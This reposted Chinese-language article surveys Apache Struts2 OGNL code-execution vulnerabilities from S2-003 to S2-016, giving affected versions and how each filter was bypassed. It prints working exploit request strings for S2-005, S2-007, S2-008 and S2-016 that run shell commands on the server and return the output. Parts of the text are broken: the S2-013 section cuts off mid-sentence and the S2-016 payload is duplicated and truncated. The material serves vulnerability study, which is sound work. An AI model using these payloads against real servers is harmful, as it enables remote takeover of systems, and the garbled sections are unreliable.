有:S2-003,S2-005,S2-007,S2-008,S2-009,S2-012~S2-016,下面逐一簡要說明。
一、S2-003
受影響版本:低於Struts 2.0.12
struts2會將http的每個參數名解析為ongl語句執行(可理解為java代碼)。ongl表達式通過#來訪問struts的對象,struts框架通過過濾#字符防止安全問題,然而通過unicode編碼(\u0023)或8進制(\43)即繞過了安全限制。
二、S2-005
受影響版本:低於Struts 2.2.1
對於S2-003漏洞,官方通過增加安全配置(禁止靜態方法調用和類方法執行等)來修補,安全配置被繞過再次導致了漏洞。
命令執行EXP:
1 |
exp.action?( '\u0023_memberAccess.allowStaticMethodAccess' )(a)= true &(b)(( '\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse' )(b))&( '\u0023c' )(( '\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET' )(c))&(g)(( '\u0023mycmd\u003d\'ifconfig\'' )(d))&(h)(( '\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)' )(d))&(i)(( '\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())' )(d))&(j)(( '\u0023myres\u003dnew\40byte[51020]' )(d))&(k)(( '\u0023mydat.readFully(\u0023myres)' )(d))&(l)(( '\u0023mystr\u003dnew\40java.lang.String(\u0023myres)' )(d))&(m)(( '\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()' )(d))&(n)(( '\u0023myout.getWriter().println(\u0023mystr)' )(d)) |
關於()()結構,應該是ongl表達式轉換為語法樹時,(a)()比(b)()靠前,優先執行(個人猜想,后續有時間了解下具體原理)。此外()(()())這種結構也可以轉換為()()(),調了部分結構,exp如下:
1 |
exp.action?( '\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse' )(bla)(bla)&( '\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET' )(kxlzx)(kxlzx)&( '\u0023_memberAccess.allowStaticMethodAccess\u003dtrue' )(bla)(bla)&( '\u0023mycmd\u003d\'ifconfig\'' )(bla)(bla)&( '\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)' )(bla)(bla)&(A)(( '\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())' )(bla))&(B)(( '\u0023myres\u003dnew\40byte[51020]' )(bla))&(C)(( '\u0023mydat.readFully(\u0023myres)' )(bla))&(D)(( '\u0023mystr\u003dnew\40java.lang.String(\u0023myres)' )(bla))&( '\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()' )(bla)(bla)&(E)(( '\u0023myout.getWriter().println(\u0023mystr)' )(bla)) |
三、S2-007
受影響版本:低於Struts 2.2.3.1
假設test.java中定義了一個整數long id,id來自於用戶輸入,傳遞一個非整數給id導致錯誤,struts會將用戶的輸入當作ongl表達式執行,從而導致了漏洞。
命令執行EXP:
1 |
id= '%2b(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ifconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))%2b' |
四、S2-008
受影響版本:低於Struts 2.3.1.2
漏洞報告者一共報告了4個漏洞,下面逐一列舉
1、即S2-007,跳過
2、當struts配置中使用cookie攔截器,舉例
1 |
<interceptor-ref name= "cookie" > |
2 |
<param name= "cookiesName" >*</param> |
3 |
<param name= "cookiesValue" >*</param> |
4 |
</interceptor-ref> |
cookiename沒有做特殊字符的限制,會被當作ognl代碼執行。不過java的webserver(tomcat等)在cookiename中禁掉了很多非主流字符,該漏洞局限性較大,危害較小。
3、對於(1)(2)這樣的ongl表達式,ongl會把1當作一個ongl表達式先執行。對於url參數user=(1)(2),struts2 只對user參數做了過濾,並沒有限制參數值,從而導致漏洞的產生,此種利用方法在S2-009中提出,S2-008中只提出了二進制文件覆蓋的方法。
命令執行EXP:
1 |
exp.action?name=(%23context[ "xwork.MethodAccessor.denyMethodExecution" ]=+ new +java.lang.Boolean( false ),+%23_memberAccess[ "allowStaticMethodAccess" ]= true ,+%23a= @java .lang.Runtime @getRuntime ().exec( 'ifconfig' ).getInputStream(),%23b= new +java.io.InputStreamReader(%23a),%23c= new +java.io.BufferedReader(%23b),%23d= new + char [ 51020 ],%23c.read(%23d),%23kxlzx= @org .apache.struts2.ServletActionContext @getResponse ().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)( 'meh' )] |
4、struts2配置中開啟debug調試模式,直接傳入ongl表達式執行。
命令執行EXP:exp.action?debug=command&expression=…
五、S2-012
受影響版本:低於Struts 2.3.14.1
這個漏洞是阿里大牛kxlzx提交的,struts2中可以通過${express}或%{express}來引用ongl表達式,當配置一個 action中有${input}或%{input}且input來自於外部輸入時,給input賦值%{exp},從而導致任意代碼執行。kxlzx拿 struts給的一個例子做了說明,測試樣例參考:http://struts.apache.org/development/2.x/docs/s2-012.html
六、S2-013
受影響版本:低於Struts 2.3.14.1
當使用struts的七、S2-014
受影響版本:低於Struts 2.3.14.2
官方在修復S2-012和S2-013的時候只是禁用了%{exp}這種方式,${exp}仍然有效,從而導致遠程代碼執行。
另外值得一提的是,官方在此次漏洞之后刪除了allowStaticMethodAccess的set方法,之前所有的exp將不再有效。不過kxlzx大牛又提出了新的exp實現方法,后面給出exp。
八、S2-015
受影響版本:低於Struts 2.3.14.3
當一個action的name被配置成通配符的時候,訪問url,action的名字指定為${exp},action的名字會被作為ongl表達式執行。
另外S2-015中還提到了一個二次表達式執行的問題,類似之前的幾個漏洞,參考官網漏洞說明即可。
九、S2-016
受影響版本:低於Struts 2.3.15.1
struts2中有2個導航標簽(action、redirect),后面可以直接跟ongl表達式,比如test.action?action:${exp}或test.action?redirect:${exp}
漏洞執行EXP:
1 |
test.action?redirect:${%23a%3dnew%20java.lang.ProcessBuilder( new %20java.lang.String[]{%22netstat% 22 ,% 22 -an% 22 }).start().getInputStream(),%23b%3dnew%20java.io.InputStreamReader(%23a),%23c%3dnew%20java.io.BufferedReader(%23b),%23d%3dnew%20char[ 51020 ],%23c.read(%23d),%23screen%3d%23context.get( 'com.opensymphony.xwork2.dispatcher.HttpServletResponse' ).getWriter(),%23screen.println(%23d),%23screen.close()}">test.action?redirect:${%23a%3dnew%20java.lang.ProcessBuilder( new %20java.lang.String[]{%22netstat% 22 ,% 22 -an% 22 }).start().getInputStream(),%23b%3dnew%20java.io.InputStreamReader(%23a),%23c%3dnew%20java |
說明,本文轉載而來,可能存在錯誤,但本文的目的並不是告訴你如何使用這些EXP,而是讓你了解struts2漏洞。
原文地址:http://wapapp.baidu.com/evi1r4pper/item/16306ee066d7f50c570f1d7b
參考網站:http://drops.wooyun.org/papers/902